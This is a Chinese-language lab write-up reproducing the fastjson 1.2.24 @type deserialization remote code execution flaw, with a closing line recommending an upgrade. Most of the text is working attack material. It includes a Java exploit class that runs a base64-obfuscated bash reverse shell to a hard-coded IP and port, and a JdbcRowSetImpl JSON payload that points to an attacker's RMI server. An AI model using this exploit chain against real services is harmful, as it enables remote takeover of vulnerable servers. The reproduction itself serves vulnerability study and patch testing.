概述

fastjson是java中解析json的库。

产生原因

在json字符串中存在@type属性时,fastjson会将该字符串解析为其指定的类。导致不受信任的类被反序列化。

影响

代码执行等

小于等于1.2.68

环境搭建

1
2
cd fastjson/1.2.24-rce
docker-compose up -d

复现

发送一个json请求

image.png

Exp构造

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import java.lang.Runtime;
import java.lang.Process;
public class Exp {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"bash","-c","{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIuMTgzLzQ0NDQgMD4mMQ==}|{base64,-d}|{bash,-i}"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}

同时开启rmi和python监听

image.png

发送请求,反弹shell

image.png{:height 412, :width 718}

payload

1
2
3
{
"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://192.168.2.183:9998/Exploit","autoCommit":true}
}

攻防

利用

对于其他版本的fastjson

1.2.24(首个漏洞)–>1.2.41(黑名单绕过)–>1.2.42(黑名单绕过)–>1.2.45(新利用链)–>1.2.47(AutoType绕过)–>1.2.68(AutoType绕过)

防御

升级版本。新版本fastjson删除了@type特性,从根源上防止反序列化发生

参考

JAVA入门到放弃系列之Fastjson反序列化(一)